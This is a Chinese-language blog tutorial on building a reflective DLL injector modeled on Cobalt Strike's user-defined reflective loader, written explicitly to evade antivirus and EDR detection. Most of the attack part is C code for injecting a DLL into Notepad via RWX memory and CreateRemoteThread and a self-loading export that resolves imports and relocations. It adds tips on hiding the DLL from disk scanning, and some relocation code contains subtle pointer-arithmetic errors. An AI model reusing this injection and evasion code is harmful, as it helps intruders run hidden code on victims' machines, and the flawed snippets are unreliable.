本文仅用于学习和技术研究,读者利用本文所提供的信息造成的任何直接或间接的影响和损失均由该读者负责,文章作者以及公众号不为此承担任何责任,请遵守国家网络安全法,维护良好的网络环境。
大家好,我是r0leG3n7。本文将介绍Cobalt Strike(下文简称CS)的UDRL(User Defined Reflective Loader,即用户自定义反射加载器)的RDI(Reflective Dll Inject,即反射dll注入)的实现。CS的UDRL是前置式的RDI,本文主要包括反射dll加载器的代码实现和反射dll的代码实现两大部分,我会尽量以相似且精简的代码去告诉大家CS的UDRL是怎么工作的和它的代码是怎么实现的。通过本文的学习,你可以了解到CS这款C2框架在进行dll注入时是如何隐藏一些敏感行为或特征来规避杀软的检测。转眼间二个多月没更新了,还是老规矩给大家滑跪道个歉,这篇文章本来四月就应该发出来了,但我要等这篇文章在网安一哥社区发布我才能发公众号,网安一哥社区给我的文章排期排到了五月份。而且我最近不知道是不是因为熬夜搞得精神状态不太好,每天累得像X片里睡不醒的无能丈夫,对工作冷漠得像电车里看手机的乘客,这导致我没法集中精力去写好一篇文章,所以拖更了...我本来想着更新完BOF开发以后就不再更新Cobalt Strike相关的东西了,因为Cobalt Strike现在的生存环境太差了,让大家深入学习有点让大家误入歧途的嫌疑,但是有很多很多师傅希望我继续更新Cobalt Strike相关的东西,后来考虑了一下还是决定继续更新这个Cobalt Strike特征消除这个篇章,后面会把域前置(云函数转发)、SleepMask之类的都介绍一下,大家敬请期待!如有任何错误和不足欢迎各位师傅指正,转载请注明文章出处。本文首发于奇安信攻防社区,原文地址:
https://forum.butian.net/share/4323
本文涉及大量的PE文件结构知识,这里只介绍下面代码可能会用到的PE知识点,如果对PE文件结构不熟建议先去学习或者复习一下PE文件结构,否则下面即使我讲得再细你可能也会看得难受,熟悉PE文件结构的可以跳过本节直接从下一节开始看。
程序的真正入口地址=程序的加载地址(基址)+ PE扩展头(OptionalHeader)的AddressOfEntryPoint。一般来说,基址是PE扩展头中的ImageBase,但实际上基址是程序运行时随机分配的。(可以解决ImageBase内存镜像基址冲突问题,如果多个exe或dll的都用相同ImageBase作为基址,程序就无法运行了
可以通过xdbg64中的内存分布,找到对应exe,右键点击,将内存转存到文件,找到程序的加载地址(基址)。
相对虚拟地址RVA(relative virtual address),PE文件加载进内存后的相对于基址的偏移地址。
文件偏移或者说文件地址(FA),是数据在文件中的实际地址,通常为连续存储。
数据文件偏移地址=节表文件偏移地址(PointerToRawData)+节内偏移地址
节内偏移(内存中的偏移) = 数据RVA - 节表内存偏移地址(SectionHeader的VirtualAddress)
如果数据RVA大于节表内存偏移地址且节内偏移不大于SectionHeader的Misc.VirtualSize,证明该数据已经初始化在该节表内。
VA(virtual address),PE文件加载进内存后的虚拟地址,虚拟地址(VA)由基址和相对虚拟地址相加得到,虚拟地址通常不是连续存储。
VA=基址+相对虚拟地址(RVA)
内存对齐和文件对齐是PE文件设计中“空间换时间”和“时间换空间”的典型权衡。文件对齐优化存储效率,而内存对齐优化运行性能,两者共同确保程序在磁盘和内存中的高效表现。
PE文件在磁盘上存储时,每个段的起始位置必须是 文件对齐值(PE文件扩展头的FileAlignment) 的整数倍。对齐值通常为 0x200(512字节),与磁盘扇区大小一致。
当PE文件被加载到内存时,每个段(Section,如.text、.data等)的起始地址必须是 内存对齐值(PE文件扩展头的SectionAlignment) 的整数倍。对齐值通常为 0x1000(4096字节,即4KB),与操作系统的内存分页大小一致。
重定位表的作用是当程序无法加载到预设的基址(ImageBase
)时,修正代码中的绝对地址。重定位表结构如下:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; //与数据目录中重定位表的 VirtualAddress不同,这个表示当前重定位块对应的内存页的 RVA
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
重定位表由多个重定位块(Block)构成,每个块包含一个头部和一组重定位项。重定位表的作用是当PE文件无法加载到预设的基地址(ImageBase)时,调整代码中的绝对地址。每个重定位块对应一个内存页,里面包含多个重定位项。每个重定位项的类型不同,告诉加载器如何修正地址。
重定位项结构体如下,Type告诉加载器如何修正地址,Offset告诉加载器修正地址的位置。
typedef struct _RELOC_ENTRY {
uint16_t Offset : 12; // 低12位表示偏移
uint16_t Type : 4; // 高4位表示类型,指示如何执行重定位
} RELOC_ENTRY;
Type类型
导入表明确列出程序运行所需的DLL和函数,如User32.dll的MessageBox等。在程序加载时,操作系统(加载器)会根据导入表的信息,将DLL加载到内存,并填充函数的实际地址到导入地址表(IAT, Import Address Table)中,供程序调用。导入表由导入目录表(IMAGE_IMPORT_DESCRIPTOR数组)、IAT和INT组成,每个被导入的DLL对应一个IMAGE_IMPORT_DESCRIPTOR结构,数组以全零结构结束。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //指向 INT(Import Name Table) 的RVA,存储函数名称或序号(在文件中只读)
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk; //指向 IAT(Import Address Table)的RVA,加载时会被替换为实际函数地址
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
导入表在PE文件加载前后的变化:
PE文件加载前
PE文件加载后
INT(Import Name Table)即名称导入表,INT的作用是存储函数名称或序号(未加载时的原始数据),由连续的IMAGE_THUNK_DATA64(64位)或IMAGE_THUNK_DATA32(32位)结构体组成,最后一个项为全零。INT通常由IMAGE_IMPORT_DESCRIPTOR结构中的OriginalFirstThunk字段指向。
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString;
DWORD Function; // 函数地址(加载后)
DWORD Ordinal; // 按序号导入时的高位标志 + 序号
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
按名称导入:u1.AddressOfData指向IMAGE_IMPORT_BY_NAME结构的RVA。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint; // 导出表中的序号(可选)
CHAR Name[1]; // 以NULL结尾的函数名称字符串
} IMAGE_IMPORT_BY_NAME;
按序号导入:u1.Ordinal的最高位为1(IMAGE_ORDINAL_FLAG64),低16位为序号。
IAT(Import Address Table)即导入地址表。
作用:在文件加载前与INT内容相同,加载后被替换为实际函数地址。
位置:由FirstThunk字段指向的RVA。
运行时修改:Windows加载器将IAT中的每个条目替换为真实的函数地址。
用于刷新指定进程的指令缓存。该函数的主要作用是清除指定进程中的指令缓存,以确保新的指令代码能够被正确执行。
NTSTATUS NtFlushInstructionCache(
HANDLE ProcessHandle, //进程句柄,指定要刷新的进程。
PVOID BaseAddress, //要刷新的指令缓存的起始地址。
SIZE_T Length //要刷新的指令缓存的长度
);
反射dll加载器主要作用是将反射dll注入到远程进程并让其自己执行其中的恶意代码,一般好的反射dll加载器是与反射dll一一对应的,这样能增强反射dll的沙箱对抗能力,如果不是对应的反射dll加载器加载该反射dll,程序就会报找不到对应的栈帧错误而退出。反射dll加载器的实现其实比较简单,核心代码部分主要是提取反射dll中的反射dll加载函数并为其创建远程线程执行。反射dll加载器大致执行流程如下图:
反射dll加载器读取反射dll文件的方式一般分为两种,第一种是直接读取dll文件并以文件对齐的形式映射进内存。第二种是直接读取dll文件并以内存对齐的形式映射进内存(CreateFileMapping的第三个参数加上SEC_IMAGE);或先以文件对齐的形式映射进内存,再通过遍历各个节表VirtualAddress和PointerToRawData并使用内存复制函数将PE文件中节表文件偏移的数据复制到对应的虚拟地址,手动展开节表进行内存对齐。这里我选择第一种方式,然后加载反射dll的时候让反射dll自己去展开节表进行内存对齐。这里需要注意的是如果想让反射dll的函数能够在内存中正确执行就必须做好内存对齐。
//定义需要加载的dll文件路径
const char* peFilePath = "ReflectDll_x64_Dll_New.dll";
//读取文件,创建文件句柄
HANDLE hFile = CreateFileA(peFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open PE filen");
return 0;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hFile, NULL);
// 创建文件映射
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); //如果需要将内存对齐以后的dll映射进内存,需要加上SEC_IMAGE
if (hMapping == NULL) {
printf("Failed to create file mappingn");
CloseHandle(hFile);
return 0;
}
// 创建映射视图
LPVOID fileBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (fileBase == NULL) {
printf("Failed to create file viewn");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
这里的示例是将反射dll注入到系统中的Notepad进程并执行恶意代码。需要注意的是我这里不仅注入了反射dll的文件对齐后的数据,我还注入了五个字节的数据来定位反射dll的基址。
//自定义五个字节的数据,方便到时候定位反射dll的基址
const char HEADER[5] = { 0x1a, 0x1b, 0x1c, 0x2d, 0xc1 };
const size_t HEADER_SIZE = 5 * sizeof(CHAR);
const wchar_t* targetPname = L"Notepad.exe";
//获取远程进程PID
DWORD targetPid = FindProcPid(targetPname);
//获取远程进程句柄
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (targetProcessHandle == NULL)
{
printf("failed to open target process!n");
return 0;
}
//为远程进程分配内存
PBYTE startAddress = (PBYTE)VirtualAllocEx(targetProcessHandle, NULL, fileSize +HEADER_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (startAddress==NULL)
{
printf("fail to alloc memoryn");
return 0;
}
//将五个用于定位dll基址的五个字节注入到远程进程
size_t bytesWritten = 0;
if (!WriteProcessMemory(targetProcessHandle, startAddress, HEADER, HEADER_SIZE, &bytesWritten))
{
printf("fail to write headern");
return 0;
}
//将反射dll文件对齐后的数据注入到远程进程
if (!WriteProcessMemory(targetProcessHandle, startAddress+ HEADER_SIZE, fileBase, fileSize, &bytesWritten))
{
printf("fail to write dlln");
return 0;
}
获取远程进程PID函数
DWORD FindProcPid(const wchar_t* processName) {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId=0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (!_wcsicmp(pe32.szExeFile, processName)) {
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
return dwProcessId;
}
反射dll里我定义了一个名为"initReflectLoader"的导出函数(这个导出函数的功能是加载dll的主函数,下面的代码中会有该函数的具体实现和说明)。反射dll加载器需要遍历反射dll的导出表找到这个导出函数地址,注意我这里的反射dll是文件对齐后的数据,而函数在节表中的地址是相对虚拟地址,所以还要做相对虚拟地址到文件偏移的转换(如果你是在"读取dll文件并映射进内存"的步骤中以内存对齐的方式映射进内存就不需要做转换),最后用转换后的文件偏移加上dll基址就得到了dll文件导出函数在磁盘中的地址。
char funName[] = { 'i', 'n', 'i', 't', 'R', 'e', 'f', 'l', 'e', 'c', 't','L', 'o', 'a', 'd','e', 'r', 0 };
//获取反射Dll加载函数的文件偏移
DWORD reflectLoaderFA = getTargetFunctionFA(fileBase, (char *)funName);
PBYTE pReflectLoader = NULL;
if (reflectLoaderFA != 0)
{
//获取反射dll导出函数在磁盘中的地址
pReflectLoader = startAddress + reflectLoaderFA + HEADER_SIZE;
printf("find reflectLoaderFA:%p n", pReflectLoader);
}
else
{
printf("failed to find reflectLoaderFA n");
return 0;
}
getTargetFunctionFA函数用于获取导出函数的文件偏移
DWORD getTargetFunctionFA(LPVOID dllHandle, char* functionName)
{
PIMAGE_DOS_HEADER pDosHEADER = (PIMAGE_DOS_HEADER)dllHandle;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)dllHandle + pDosHEADER->e_lfanew);
IMAGE_OPTIONAL_HEADER optional_Header = pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER pSections = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader,optional_Header.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
DWORD* pNameList = (DWORD*)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader, pExportDirectory->AddressOfNames));
DWORD* pFunList = (DWORD*)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader, pExportDirectory->AddressOfFunctions));
for (size_t i = 0; i < pExportDirectory->NumberOfNames; i++)
{
char* nameStr = (char*)dllHandle + RvaToFileOffset(pNtHeader, pNameList[i]);
if (!scmp(nameStr, functionName)) //scmp是一个自实现的字符串比较函数,跟strcmp函数实现的功能相同
{
printf("%sn", nameStr);
return RvaToFileOffset(pNtHeader, pFunList[i]);
}
}
return 0;
}
RvaToFileOffset函数用于将相对虚拟地址转化为文件偏移
DWORD RvaToFileOffset(IMAGE_NT_HEADERS64* ntHeaders, DWORD rva) {
if (rva == 0)
{
return 0;
}
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, section++) {
DWORD sectionVA = section->VirtualAddress;
DWORD sectionSize = section->Misc.VirtualSize;
if (rva >= sectionVA && rva < sectionVA + sectionSize) {
return section->PointerToRawData + (rva - sectionVA);
}
}
return 0;
}
这一步没啥需要注意的,如果因为当前进程权限不够而无法为远程进程分配内存或创建远程线程,需要先提升至SeDebugPrivilege权限。
DWORD threadId = 0x0;
HANDLE hThread = CreateRemoteThread(
targetProcessHandle, //目标进程句柄
NULL, // 安全属性
0, // 默认堆栈大小
(LPTHREAD_START_ROUTINE)pReflectLoader, // 线程函数
NULL, // 参数
0, // 创建标志
&threadId // 线程ID
);
//关闭句柄和文件映射
UnmapViewOfFile(fileBase);
CloseHandle(hMapping);
CloseHandle(hFile);
在讲实现反射dll之前,我想让大家思考一下为什么Cobalt Strike至今还在沿用URDL,普通的dll注入跟反射dll注入有什么不同?反射dll注入相比于普通的dll注入有什么优势?我们知道一个可执行文件加载一个dll时一般会调用Loadbrary这个Windows API函数,而且还要将dll文件放置在某个目录下才能让可执行文件加载到这个dll中的函数。这里就有两个严重的弊端:
第一个弊端就是dll的文件落地问题,即使dll文件静态检测对抗和反沙箱做得再好,也无可避免的会被云传或者人工分析(这时候你可能会问上面反射dll加载器的"读取dll文件并映射进内存"的步骤中的代码不就是加载了一个已经文件落地的名为ReflectDll_x64_Dll_New.dll吗?那是我为了方便大家读懂代码故意这样名命的,在实战中用反射dll注入我肯定会把这个dll文件加密并将其文件后缀改为非".dll"的文件后缀;或者我直接把这个dll文件数据加密嵌入到PE文件的资源文件或者节表中再读入内存,就好像一段shellcode一样,实际上反射dll加载函数的实现过程跟自己写一段shellcode大差不差。而普通的dll注入就必须要加载一个某路径下以XXX.dll命名的动态链接库)。
第二弊端就是Loadbrary这个Windows API函数问题,我们一般普通的dll注入就是CreateRemoteThread+Loadbrary这一套经典组合拳,无论我们怎么去自实现、去Hook调用CreateRemoteThread和Loadbrary这两个Windows API,都无法逃避装了驱动的杀软和EDR在ring0的监控,CreateRemoteThread+Loadbrary这一套经典组合拳在EDR眼里是非常敏感的,这个组合调用累计到一定次数就会被EDR标记。
而反射dll注入能完美解决这两个弊端:1、反射Dll可以以加密的网络数据流、图片数据、PE文件数据等形式灵活读取进内存,无需以.dll文件形式落地,是比较Opsec手法;2、反射Dll执行自身主函数时是通过自身的导出函数实现的,不依赖可能会被监控的Loadbrary等Windows API函数。在EDR眼里反射dll加载器只不过就是读取了一些数据(但不知道是dll文件数据),为远程进程分配了内存并创建了一个远程线程,并不知道恶意程序其实已经加载了一个dll文件。(创建远程线程 这个行为也可以通过syscall各种门去规避,这里的代码暂时不展示,尽量以最精简的代码让大家了解UDRL,其实大家也怎么不需要去了解UDRL怎么混淆,因为新版本的C2 profile都可以配置)
反射dll加载函数的代码不能直接调用Windows API以及一些需要链接以后才能调用的函数,比如内存分配函数、字符串比较函数等,这些必须用到的函数都需要自实现或者动态调用,反射dll加载函数写入内存以后就是一段与地址无关的二进制代码,分配内存并创建线程就可以直接调用那种。
当一个 dll文件被加载进某个进程 的内存中,如果想让它自己执行某段代码,首先要让它搞清楚自己在内存的什么位置,找到dll文件基址。我们可以先定位dll加载函数的地址,因为数据是连续存储的,我们可以让它从dll加载函数的地址向上逐个字节去寻找dll的文件基址。怎么才算是找到了dll的文件基址呢?这就要提到上面反射dll加载器把dll文件注入到远程进程时同时注入的那五个自定义的字节,当它向上逐个字节找到这五个自定义的字节的地址时,我们就可以确认这个地址加上五个字节的偏移就是dll的基址。
typedef struct _DLL_HEADER {
DWORD header;
CHAR key;
} DLL_HEADER, * PDLL_HEADER;
extern "C" __declspec(dllexport) BOOL initReflectLoader() {
/*--------------初始化变量--------------*/
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeader = NULL;
/*--------------定位dll基址--------------*/
ULONG_PTR dllStartAddress = (ULONG_PTR)initReflectLoader;
PDLL_HEADER pDllHeader = NULL;
while (TRUE)
{
pDllHeader = (PDLL_HEADER)dllStartAddress;
//判断是否为自定义的字节
if (pDllHeader->header == 0x2d1c1b1a) {
pDosHeader = (PIMAGE_DOS_HEADER)(dllStartAddress + (5 * sizeof(CHAR)));
//判断是否为合法的DOS头
if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeader = (PIMAGE_NT_HEADERS)(dllStartAddress + pDosHeader->e_lfanew + (5 * sizeof(CHAR)));
//判断是否为合法的NT头签名
if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) {
break;
}
}
}
//向上遍历
dllStartAddress--;
}
if (!dllStartAddress)
return FALSE;
//获取dll基址
dllStartAddress = dllStartAddress + (5 * sizeof(CHAR));
DWORD imageSize = pNtHeader->OptionalHeader.SizeOfImage;
上面提到注入到远程进程的dll文件数据是文件对齐后的数据,要使dll能够正确执行dll加载函数代码,就需要做好内存对齐。这里dll先分配了一段大小为扩展头的SizeOfImage的可读可写内存用于保存内存对齐以后的数据,再分配另一段内存用于保存dll文件的节表信息,然后根据dll文件的节表信息将文件数据复制到对应的虚拟地址进行内存对齐。(下面代码中的"procAddress"是我自实现的GetProcAddress函数,用于动态调用各种需要用到的Windows API,因为写得又乱又长就不展示了,加上我怕我给了完整代码大家就不愿意去深入了解怎么自实现GetProcAddress函数,我辛辛苦苦写的这篇文章就成了一篇装逼利器,大家看了啥都没学到只觉得好牛逼,我写的每篇文章都希望大家有所收获。)
/*--------------分配新的内存地址--------------*/
//动态调用VirtualAlloc函数
pVirtualAlloc virtualAlloc = (pVirtualAlloc)procAddress(kerne132, virtualAllocStr);
//分配内存
PBYTE newAddress = (PBYTE)virtualAlloc(NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (newAddress == NULL)
return FALSE;
PIMAGE_SECTION_HEADER* pSections = (PIMAGE_SECTION_HEADER*)virtualAlloc(NULL, sizeof(PIMAGE_SECTION_HEADER)*pNtHeader->FileHeader.NumberOfSections, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pSections == NULL)
return FALSE;
/*--------------复制节表,内存对齐--------------*/
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
//第一个节表的地址等于 Nt头地址+签名大小(4)+文件头大小(20)+扩展头大小
pSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pNtHeader) + 4 + 20 + pNtHeader->FileHeader.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
}
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
PVOID pDEST = (PVOID)(newAddress + pSections[i]->VirtualAddress);
PVOID pSRC = (PVOID)(dllStartAddress + pSections[i]->PointerToRawData);
//_myMemcpy是自实现的内存复制函数,跟memcpy()函数的功能是一样的
_myMemcpy(pDEST,pSRC, pSections[i]->SizeOfRawData);
}
遍历导入表,对于每个导入的DLL,使用自实现的LoadLibrary加载,然后通过自实现的GetProcAddress获取每个函数的地址,将这些地址填入IAT中。需要注意区分按名称导入和按序号导入的情况,如果果 IMAGE_THUNK_DATA 值的最高位为 1(最高有效位MSB被置位),表示该值是一个序号(Ordinal);如果最高位为 0,表示该值是一个相对虚拟地址(RVA),指向函数名称结构(IMAGE_IMPORT_BY_NAME)。
/*--------------修复导入表--------------*/
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
for (size_t i = 0; i < pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i+=sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
//获取导入表虚拟地址
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(newAddress + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);
if (pImportDescriptor->FirstThunk == NULL && pImportDescriptor->OriginalFirstThunk == NULL)
break;
//loadLib是自实现的LoadLibrary函数,用于获取dll模块的句柄
HMODULE tmpDll = loadLib((LPSTR)(newAddress+pImportDescriptor->Name));
if (tmpDll == NULL)
return FALSE;
//获取IAT地址,等下需要将函数地址重新填充进去
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(newAddress + pImportDescriptor->FirstThunk);
//获取INT地址,获取u1.Ordinal用于判断函数是名称导入还是序号导入
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(newAddress + pImportDescriptor->OriginalFirstThunk);
//遍历IAT和INT,填充函数地址
while (pINT->u1.Function!=NULL && pIAT->u1.Function!=NULL)
{
//判断IMAGE_THUNK_DATA的最高位是否为1
if (IMAGE_SNAP_BY_ORDINAL64(pINT->u1.Ordinal))
{
//序号导入
int ordinalW = IMAGE_ORDINAL64(pINT->u1.Ordinal);
pIAT->u1.Function = (ULONGLONG)procAddress(tmpDll, (LPCSTR)ordinalW);
}
else
{
//名称导入
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)newAddress + pINT->u1.AddressOfData);
pIAT->u1.Function = (ULONGLONG)procAddress(tmpDll, pImportName->Name);
}
pINT++;
pIAT++;
}
}
dll一般是"寄宿"在其他进程的内存中,当dll被加载(或注入)进某个进程以后,其预设的基址(扩展头的ImageBase)大概率会被占用,进程一般会给dll重新分配基址,这时就需要进行重定位。
怎么进行重定位呢?假设dll中某个函数原来的地址=ImageBase+RVA,加载进内存以后基址变为了新基址,这时函数的新地址=新基址+RVA。这其中改变了什么?由于这个函数的RVA保存在节表中是不变的,变化的是新基址减去ImageBase的差值,所以只需将dll文件重定位表中待修正的代码地址加上这个差值,就完成了重定位。
接下来说一下重定位表项的计算,假设有n个重定位项。如果采用直接寻址,每个32位的指针占用4个字节,那重定位项块总大小为4*n节字;如果采用分页机制去寻址,32位指针的高位总是相同的,如果把这些高位统一表示,就可以节省一部分空间,当按照一个内存页来进行分割时,一个页面寻址需要的指针位数是12位(一页等于4096节字,等于2的12次方),把这12位凑齐至16位(2个字节)作为一个字类型的数据,并使用一个附加的双字表示页的起始指针,另一个双字表示页中重定位项数,那么重定位表块的总大小为4+4+2*n,当某个内存页中的重定位项多于4项的时候,后一种方法的占用空间就会比前面的方法要小。重定位表块的大小可以通过IMAGE_BASE_RELOCATION结构体的SizeOfBlock得到,所以重定位项数量n=(IMAGE_BASE_RELOCATION结构体的SizeOfBlock - 4 - 4)/2。
/*--------------修复重定位表--------------*/
//计算需要修正的差值
ULONG_PTR delta = (ULONG_PTR)newAddress - pNtHeader->OptionalHeader.ImageBase;
//计算重定位块地址
PIMAGE_BASE_RELOCATION pBaseRelocation = (PIMAGE_BASE_RELOCATION)(newAddress + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
WORD* relocBlock = NULL;
while (pBaseRelocation->VirtualAddress!=0)
{
//获取重定位项地址
relocBlock = (WORD*)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
//计算重定位项数量
int numOfRelocBlock = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (size_t i = 0; i < numOfRelocBlock; i++)
{
//获取重定位项类型
WORD type = relocBlock[i] >> 12;
//获取重定位项偏移
WORD offset = relocBlock[i] & 0xFFF;
//全64位修正:需修正整个64位地址,type类型可以查看上面基础知识重定位项type的定义
if (type == IMAGE_REL_BASED_DIR64)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
ULONGLONG* pAlloc = (ULONGLONG*)(newAddress + corretRVA);
pAlloc += (ULONGLONG)delta;
}
else if (type == IMAGE_REL_BASED_HIGHLOW)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
DWORD* pAlloc = (DWORD*)(newAddress + corretRVA);
pAlloc += (DWORD)delta;
}
else if (type == IMAGE_REL_BASED_HIGH)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
WORD* pAlloc = (WORD*)newAddress + corretRVA;
pAlloc += HIWORD(delta);
}
else if (type == IMAGE_REL_BASED_LOW)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
WORD* pAlloc = (WORD*)newAddress + corretRVA;
pAlloc += LOWORD(delta);
}
//移动至下一个重定位项
relocBlock++;
}
//移动至下一个重定位块
pBaseRelocation += pBaseRelocation->SizeOfBlock;
}
PE文件中各个节表的读写属性是不一样的,比如.text节用于存放可执行代码,它的属性为可读可执行;.rdata节通常存放字符串常量、全局常量,它的属性为只读。由于上面dll展开节表内存对齐的时候分配的内存属性全是可读可写的,要对各个节表的内存属性进行修正。
/*--------------调整各节表属性--------------*/
//动态调用VirtualProtect函数,用于修改内存属性
pVirtualProtect virtualProtect = (pVirtualProtect)procAddress(kerne132,virtualProtectStr);
DWORD dwOldProtection = 0x00;
DWORD dwProtection = 0x00;
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//只写
dwProtection = PAGE_WRITECOPY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//只读
dwProtection = PAGE_READONLY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//只执行
dwProtection = PAGE_EXECUTE;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_READ && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可读可写
dwProtection = PAGE_READWRITE;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可写可执行
dwProtection = PAGE_EXECUTE_WRITECOPY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //可读可执行
dwProtection = PAGE_EXECUTE_READ;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_READ && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可读可写可执行
dwProtection = PAGE_EXECUTE_READWRITE;
}
if (!virtualProtect((PVOID)(newAddress + pSections[i]->VirtualAddress), pSections[i]->SizeOfRawData, dwProtection, &dwOldProtection)) {
return FALSE;
}
}
清除当前进程(被注入进程)的指令缓存,返回主函数入口执行主函数。
/*--------------刷新指定进程的指令缓存--------------*/
pNtFlushInstructionCache pNFIC = (pNtFlushInstructionCache)procAddress(ntd11T, ntFlushInstructionStr);
pNFIC(HANDLE(-1),NULL,0x00);
/*--------------执行入口函数--------------*/
//扩展头的AddressOfEntryPoint是程序的入口地址
pDllMain dllMain = (pDllMain)(newAddress + pNtHeader->OptionalHeader.AddressOfEntryPoint);
return dllMain((HMODULE)newAddress, DLL_PROCESS_ATTACH, NULL);
}
主函数代码
功能是MessageBox弹窗(也可以替换为执行shellcode、添加用户等代码)。
typedef BOOL(WINAPI* pDllMain)(
HINSTANCE,
DWORD,
LPVOID
);
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "Injected Successfully!", "pwned!!!", MB_OK|MB_ICONINFORMATION);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
运行效果
本文主要介绍了反射Dll加载器和反射Dll的代码实现过程,反射Dll加载器和反射Dll的代码实现过程涵盖了大量PE文件结构的知识,比如遍历反射dll导出表获取反射dll加载函数、修复导入表、修复重定位等,有助于大家了解PE文件结构。本文没有介绍混淆或者隐藏UDRL的技巧,但是我们可以通过本文了解到Cobalt Strike这个C2框架是如何在dll注入时规避一些敏感行为,这对我们以后进行C2的二开或者自研C2是非常有用的。当然如果大家有兴趣去了解UDRL的混淆和一些细节的隐藏(如syscall那些),我后面还会出文章,这篇文章主要是带大家了解UDRL学习RDI。
作者微信👇,欢迎催更和骚扰
r0leG3n7
r0leG3n7
r0leG3n7
原文始发于微信公众号(霓虹预警):Cobalt Strike特征消除第三篇:通过URDL学习RDI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论